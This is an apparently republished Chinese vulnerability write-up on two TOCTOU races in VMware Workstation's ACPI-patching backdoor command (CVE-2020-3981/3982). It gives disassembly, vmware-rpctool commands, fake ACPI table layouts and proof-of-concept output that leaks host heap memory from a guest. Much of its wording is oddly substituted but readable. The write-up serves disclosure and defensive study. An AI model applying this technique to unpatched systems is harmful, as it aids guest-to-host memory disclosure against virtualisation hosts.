发布于2022年11月4日2年前 安全分析 | 两个VMware Workstation中的TOCTOU漏洞 写在前面的话就在前两天,VMware发布了一份安全布告,并修正了VMware ESXi、Workstation、Fusion和NSX-T中的六个安全缝隙。其中有两个缝隙归于TOCTOU(Time-of-check Time-of-use)竞赛条件缝隙,既然现在缝隙已被修正,那咱们就一起来看一看这两个TOCTOU缝隙的详细信息以及其对VMware体系的影响吧!缝隙剖析VMware Workstation运用了一个修正版的PhoenixBIOS 4.0 Release 6来完成其旧版别BIOS的模仿功用。在咱们对BIOS.440.ROM镜像剖析进程中,咱们发现其中一处修正将导致VMware软件中存在后门。这种场景下的“后门”其实并没有什么歹意性,与传统意义上的后门相反,这个“后门”指的是一个合法的数据通道,虚拟客户机能够经过它与管理程序进行通信。在这种状况下,后门是经过模仿的I/O端口完成的,而用户能够经过履行以下指令并运用后门来发送消息:BIOS_F:358B backdoor proc near BIOS_F:358B mov dx, 5658h BIOS_F:358E mov eax, 564D5868h BIOS_F:3594 in eax, dx BIOS_F:3596 retn BIOS_F:3596 backdoor endp经过交叉引用后门调用并结合open-vm-tools,咱们能够辨认出ROM镜像中所运用的指令集:BDOOR_CMD_GETMEMSIZE BDOOR_CMD_GETMHZ BDOOR_CMD_ISACPIDISABLED BDOOR_CMD_PATCH_ACPI_TABLES BDOOR_CMD_GETUUID BDOOR_CMD_GETDISKGEO BDOOR_CMD_OSNOTFOUND BDOOR_CMD_APMFUNCTION这儿的每一条指令代表的都是一个后门功用函数,它们在主机体系上完成,能够由用户经过向模仿端口传递相应的值来进行调用。在这儿,BDOOR_CMD_PATCH_ACPI_TABLES指令是最有意思的了,因为它能够从用户的内存中解析ACPI表,下面的剖析进程根据的是VMware Workstation的Linux版别(v 15.5.6)。后门函数所完成的BDOOR_CMD_PATCH_ACPI_TABLES首要会查看方针主机装置的VMware Tools版别以及当前用户处理器的权限等级(CPL),然后再进行功用调用。.text:00000000001D9AF0 BackdoorPatchACPITables proc near .text:00000000001D9AF0 .text:00000000001D9B14 call Get_VMTools_Version .text:00000000001D9B19 test eax, eax ; check if vmware tools installed .text:00000000001D9B1B jnz short vmtools_available .text:00000000001D9B50 vmtools_available: .text:00000000001D9B50 call Get_VMTools_Version .text:00000000001D9B55 cmp eax, 17FFh ; check if vmware tools version < 6.0.0 .text:00000000001D9B5A ja short return .text:00000000001D9B5C call Check_CPL0 ; check if invoked at CPL 0 .text:00000000001D9B61 test al, al .text:00000000001D9B63 jz short returnGet_VMTools_Version函数能够回来VMware Tools的版别信息,回来数据的格局为编码整型值,这部分数据在open-vm-tools中的定义如下:#define TOOLS_VERSION_UINT(MJR, MNR, BASE) (((MJR) << 10) + ((MNR) << 5) + (BASE))其中,BDOOR_CMD_PATCH_ACPI_TABLES指令只要在用户陈述VMware Tools版别低于6.0.0的时分才会运用到。除此之外,这儿还会查看以确保指令是从CPL 0(或ring 0)调用的,而这也是最高等级的用户权限了。这种机制或许是为了限制用户运用这个后门指令来猜想发动代码。完成查看之后,代码将会扫描用户的BIOS高内存区域(0xE0000到0xFFFFF)以辨认“RSD PTR”符号,并尝试定位Root体系描绘指针(RSDP)结构。.text:00000000001D9B73 mov r12d, 0E0000h .text:00000000001D9B79 lea rbp, [r13+24h] .text:00000000001D9B7D nop dword ptr [rax] .text:00000000001D9B80 .text:00000000001D9B80 loc_1D9B80: .text:00000000001D9B80 mov edx, 24h .text:00000000001D9B85 mov rsi, r13 .text:00000000001D9B88 mov rdi, r12 .text:00000000001D9B8B mov r8d, 1 .text:00000000001D9B91 mov ecx, 40h .text:00000000001D9B96 call Read_GuestMem .text:00000000001D9B9B mov edx, 8 ; n .text:00000000001D9BA0 mov rdi, r13 ; s1 .text:00000000001D9BA3 lea rsi, aRsdPtr ; "RSD PTR " .text:00000000001D9BAA call _memcmp .text:00000000001D9BAF test eax, eax接下来,代码还会对剩余的ACPI数据结构进行解析以定位体系差异描绘表(DSDT)。text:00000000001D9BE9 lea rsi, aRsdt ; "RSDT" text:00000000001D9BF0 mov rcx, rbp text:00000000001D9BF3 call ValidateAndGetACPITable text:00000000001D9C24 lea rsi, aFacp ; "FACP" text:00000000001D9C2B call ValidateAndGetACPITable text:00000000001D9C30 test al, al text:00000000001D9C63 lea rsi, aDsdt ; "DSDT" text:00000000001D9C6A call ValidateAndGetACPITable text:00000000001D9C6F test al, al找到DSDT之后,后门函数会寻找并用“F00”替换_S1的数据。.text:00000000001D9CCA loc_1D9CCA: .text:00000000001D9CCA cmp [rsp+0D8h+var_D3], 5Fh ; '_' .text:00000000001D9CCF jnz short continue .text:00000000001D9CD1 cmp [rsp+0D8h+var_D3+1], 53h ; 'S' .text:00000000001D9CD6 jnz short continue .text:00000000001D9CD8 cmp [rsp+0D8h+var_D3+2], 31h ; '1' .text:00000000001D9CDD jnz short continue .text:00000000001D9CDF sub eax, 1 .text:00000000001D9CE2 jnz loc_1D9E69 .text:00000000001D9CE8 add r12, [rsp+0D8h+var_B8] .text:00000000001D9CED mov word ptr [r12], 'OF' .text:00000000001D9CF4 mov byte ptr [r12+2], 4Fh ; 'O'为了测验该缝隙,咱们首要需要导出DSDT表,并在陈述了VMware Tools版别小于6.0.0之后重启客户机。在对open-vm-tools进行剖析之后,咱们发现个该东西将运用“tools.set.version”这个GuestRPC指令来设置这条信息。$ sudo cat /sys/firmware/acpi/tables/DSDT > DSDT $ iasl -d DSDT Intel ACPI Component Architecture ASL+ Optimizing Compiler/Disassembler version 20180105 Copyright (c) 2000 - 2018 Intel Corporation Input file DSDT, Length 0x2148B (136331) bytes ACPI: DSDT 0x0000000000000000 02148B (v01 PTLTD Custom 06040000 MSFT 03000001) Pass 1 parse of [DSDT] Pass 2 parse of [DSDT] Parsing Deferred Opcodes (Methods/Buffers/Packages/Regions) Parsing completed Disassembly completed ASL Output: DSDT.dsl - 1296923 bytes $ vmware-rpctool "tools.set.version 4096" $ reboot重启之后,咱们再次导出DSDT表,然后对ASL代码进行剖析。* Original Table Header: * Signature "DSDT" * Length 0x0002148B (136331) * Revision 0x01 **** 32-bit table (V1), no 64-bit math support - * Checksum 0x9E + * Checksum 0x9D * OEM ID "PTLTD " * OEM Table ID "Custom " * OEM Revision 0x06040000 (100925440) @@ -2524,7 +2524,7 @@ 0x05, 0x05 }) - Name (_S1, Package (0x02) // _S1_: S1 System State + Name (FOO, Package (0x02) { 0x04, 0x04S1休眠状况此时会被更改,而且导出表的校验和也会进行相应的更新。在这儿,我发现了两个不同的Time-of-check Time-of-use (TOCTOU)缝隙。其中一个是越界受限写入缝隙,另一个则是越界读取缝隙,并有可能导致方针主机发生信息走漏。DSDT表中包含了一个ACPI Header,后面跟着的是AML字节码。ACPI Header的数据结构如下所示:struct acpi_table_header { char signature[ACPI_NAMESEG_SIZE]; /* ASCII table signature */ u32 length; /* Length of table in bytes, including this header */ u8 revision; /* ACPI Specification minor version number */ u8 checksum; /* To make sum of entire table == 0 */ char oem_id[ACPI_OEM_ID_SIZE]; /* ASCII OEM identification */ char oem_table_id[ACPI_OEM_TABLE_ID_SIZE]; /* ASCII OEM table identification */ u32 oem_revision; /* OEM revision number */ char asl_compiler_id[ACPI_NAMESEG_SIZE]; /* ASCII ASL compiler vendor ID */ u32 asl_compiler_revision; /* ASL compiler version */ };Header中最有意思的数据字段为length和checksum。表的长度和校验和首要会在ValidateAndGetACPITable函数被调用时来进行验证,调用方位为0x01D9C6A:.text:00000000001D9910 ValidateAndGetACPITable proc near .text:00000000001D991B mov edx, 4 ; length to read .text:00000000001D9920 push r13 .text:00000000001D9922 push r12 .text:00000000001D9924 mov r12d, edi .text:00000000001D9927 push rbp .text:00000000001D9928 lea rdi, [r12+4] ; physical address of table + 4, this points to the length field in ACPI header . . . .text:00000000001D994D lea rsi, [rsp+68h+table_size] ; buffer for writing the content .text:00000000001D9952 call ReadGuestPhyAddr .text:00000000001D9957 mov r8d, [rsp+68h+table_size] .text:00000000001D995C lea eax, [r8-1] .text:00000000001D9960 cmp eax, 0FFFFFFh .text:00000000001D9965 jbe short map_guestmem . . . .text:00000000001D99B8 map_guestmem: .text:00000000001D99B8 cmp r14b, 1 .text:00000000001D99BC mov esi, r8d ; length to read from guest .text:00000000001D99BF mov rdi, r12 ; physical address of ACPI table . . . .text:00000000001D99D2 call MapGuestPhyAddr .text:00000000001D99D7 cmp dword ptr [rbx+0Ch], 1 .text:00000000001D99DB mov r12d, [rsp+68h+table_size] . . . .text:00000000001D9A10 cmp r12d, 35 ; check if length is at least ACPI table header size .text:00000000001D9A14 jbe invalid_size .text:00000000001D9A1A mov eax, dword ptr [rsp+68h+acpi_table.signature] .text:00000000001D9A1E cmp [rbp+0], eax ; check table signature . . . .text:00000000001D9A70 calc_checksum: .text:00000000001D9A70 mov rax, [rbx+10h] .text:00000000001D9A74 movzx eax, byte ptr [rax+rbp] ; read a byte from guest ACPI table .text:00000000001D9A78 .text:00000000001D9A78 loc_1D9A78: .text:00000000001D9A78 add rbp, 1 .text:00000000001D9A7C add r12d, eax .text:00000000001D9A7F cmp r14d, ebp ; loop until table size .text:00000000001D9A82 jbe short loc_1D9AD0 .text:00000000001D9A84 .text:00000000001D9A84 loc_1D9A84: .text:00000000001D9A84 cmp dword ptr [rbx+0Ch], 1 .text:00000000001D9A88 jz short calc_checksum总的来说,ValidateAndGetACPITable函数首要会从客户机内存中读取出ACPI表的巨细,然后运用这个巨细值来从客户机物理内存中将整个ACPI表映射到主机内存中。接下来,它会核算映射内存的字节巨细并核算出ACPI校验和来对表进行验证。CVE-2020-3982/ZDI-20-1268完成了表验证之后,代码会再次从客户机内存中读取出ACPI表长度,然后在DSDT AML代码中查找_S1。.text:00000000001D9C6A call ValidateAndGetACPITable ; DSDT table validated here .text:00000000001D9C6F test al, al .text:00000000001D9C71 jz return .text:00000000001D9C77 mov eax, [rsp+0D8h+var_BC] .text:00000000001D9C7B lea r15, [rsp+0D8h+var_CC] .text:00000000001D9C80 mov r13d, 24h ; '$' .text:00000000001D9C86 lea r14, [rsp+0D8h+var_D3] .text:00000000001D9C8B jmp short loc_1D9C91 .text:00000000001D9C8D .text:00000000001D9C8D Patch_S1_Sleep_State: .text:00000000001D9C8D .text:00000000001D9C8D add r13d, 1 .text:00000000001D9C91 .text:00000000001D9C91 loc_1D9C91: .text:00000000001D9C91 cmp eax, 1 .text:00000000001D9C94 jnz loc_1D9D91 .text:00000000001D9C9A mov rax, [rsp+0D8h+dsdt] .text:00000000001D9C9F mov esi, [rax+acpi_table_header.length] ; DSDT table fetched from guest after validation在这儿,客户机操作体系是能够修正两次获取到的表的巨细值的,从而导致受限的OOB写入原语:“finding _S1”,并运用F00替换其值。CVE-2020-3981/ZDI-20-1267当S1休眠目标被修正之后,Header中的校验和将需要被更新。为了预备核算新的校验和,代码将再次从客户机内存中检索表长度:.text:00000000001D9CCA cmp [rsp+0D8h+var_D3], 5Fh ; '_' .text:00000000001D9CCF jnz short Patch_S1_Sleep_State .text:00000000001D9CD1 cmp [rsp+0D8h+var_D3+1], 53h ; 'S' .text:00000000001D9CD6 jnz short Patch_S1_Sleep_State .text:00000000001D9CD8 cmp [rsp+0D8h+var_D3+2], 31h ; '1' .text:00000000001D9CDD jnz short Patch_S1_Sleep_State .text:00000000001D9CDF sub eax, 1 .text:00000000001D9CE2 jnz loc_1D9E69 .text:00000000001D9CE8 add r12, [rsp+0D8h+dsdt] .text:00000000001D9CED mov word ptr [r12], 'OF' .text:00000000001D9CF4 mov byte ptr [r12+2], 4Fh ; 'O' .text:00000000001D9CFA .text:00000000001D9CFA calc_checksum_after_patch: .text:00000000001D9CFA cmp [rsp+0D8h+var_BC], 1 .text:00000000001D9CFF jnz loc_1D9E3C .text:00000000001D9D05 mov rax, [rsp+0D8h+dsdt] .text:00000000001D9D0A mov r13d, [rax+acpi_table_header.length] ; length fetched again from guest memory如果客户机在这次读取操作之前增加了长度字段的值,那么将导致在校验和核算进程中出现越界读取的状况。缝隙运用PoC尽管这个后门函数在履行受信任的BIOS代码期间只被调用一次,但它在引导后不会被禁用,并且即使是客户机操作体系也能够持续拜访它。因为BIOS内存区域是可写的,所以在调用后门之前,客户机能够在地址0xE0000插入一个伪造的RSDP结构。因为RSDT物理地址是在伪造的RSDP结构中设置的,因而整个ACPI的解析进程都有可能被劫持:struct acpi_table_rsdp { char signature[8]; /* ACPI signature, contains "RSD PTR " */ u8 checksum; /* ACPI 1.0 checksum */ /* ... snip ... */ u32 rsdt_physical_address; /* 32-bit physical address of the RSDT */ /* ... snip ... */ };攻击者需要在客户机RAM的结尾设置一个DSDT表,这样就能够直接在主机内存上受限OOB拜访了。尽管这种OOB写入操作是高度受限的,但ACPI校验和核算进程中的OOB读取是能够走漏主机堆内存数据的。ACPI表校验和是一个值,它使得表中所有字节的总和为0(mod 256)。考虑到这一点,信息走漏策略应该是一次走漏一个字节。攻击者能够设置DSDT ACPI表头,使长度和校验和字段可从客户机拜访。AML代码占用了与主机堆内存区域相邻的客户机内存区域末尾,使得客户机无法拜访该内存区域。然后,它们能够运用竞赛条件触发1字节的OOB读取,并查看校验和值是否已更改。如果是,根据之前的校验和值和更新后的校验和值,运用它们能够核算出走漏的字节。如果在经过一定量的尝试后没有观察到校验和的变化,则假定走漏的字节为0。然后,攻击者能够触发一个2字节的OOB读取来走漏后续字节,以此类推。下面给出的缝隙运用PoC:$ sudo insmod backdoor.ko $ sudo ./poc poc: [+] Setting open-vm-tools version to 4.0.0 using tools.set.version poc: [+] Overwriting BIOS memory mapped @ 0x7fdd12fd5000 poc: [+] Trigerring BDOOR_CMD_GETMEMSIZE to get RAM size... poc: [+] VM high memory address : 0x80000000 poc: [+] Fake Root System Description Pointer @ 0xE0000 RSD @ 0x00000000000E0000 0000: 52 53 44 20 50 54 52 20 73 00 00 00 00 00 00 00 RSD PTR s....... 0010: 00 60 C5 49 .`.I poc: [+] Fake Root System Description Table @ 0x49C56000 RSDT @ 0x0000000049C56000 0000: 52 53 44 54 28 00 00 00 00 05 00 00 00 00 00 00 RSDT(........... 0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0020: 00 00 00 00 28 60 C5 49 ....(`.I poc: [+] Fake Fixed ACPI Description Table @ 0x49C56028 FACP @ 0x0000000049C56028 0000: 46 41 43 50 14 01 00 00 00 7C 00 00 00 00 00 00 FACP.....|...... 0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0020: 00 00 00 00 00 00 00 00 D8 FF FF 7F 00 00 00 00 ................ 0030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00C0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00D0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00E0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00F0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0110: 00 00 00 00 .... poc: [+] Fake Differentiated System Description Table @ 0x7FFFFFD8 DSDT @ 0x000000007FFFFFD8 0000: 44 53 44 54 28 00 00 00 00 C6 00 00 00 00 00 00 DSDT(........... 0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0020: 00 00 00 00 5F 53 31 00 ...._S1. poc: [+] Starting thread to change DSDT length during race... poc: [+] Triggering BDOOR_CMD_PATCH_ACPI_TABLES from CPL 0... poc: [+] Leaking checksum for 8 bytes adjacent to guest memory mapping... ........................ A5 A5 A5 75 C7 48 48 48 poc: [+] Leaked host memory address : 0x7fae30000020下面给出的是vmware-vmx进程的主机堆内存状况(2GB内存):gdb-peda$ vmmap ... 0x00007fadb0000000 0x00007fae30000000 rw-s /vmem (deleted) 0x00007fae30000000 0x00007fae309ea000 rw-p mapped 0x00007fae309ea000 0x00007fae34000000 ---p mapped ... gdb-peda$ x/10gx 0x00007fae30000000 0x7fae30000000: 0x00007fae30000020 0x0000000000000000 0x7fae30000010: 0x00000000009ea000 0x00000000009ea000 0x7fae30000020: 0x0000000200000000 0x0000000000000001 0x7fae30000030: 0x00007fae30555b30 0x0000000000000000 0x7fae30000040: 0x00007fae30263860 0x00007fae30278e40总结目前,VMware已经在Workstation v16.0版别中修正了该问题。除此之外,VMSA-2020-0023补丁还修正了我的同事Lucas Leong陈述的ESXi中的一个可长途运用的缝隙。
创建帐户或登录后发表意见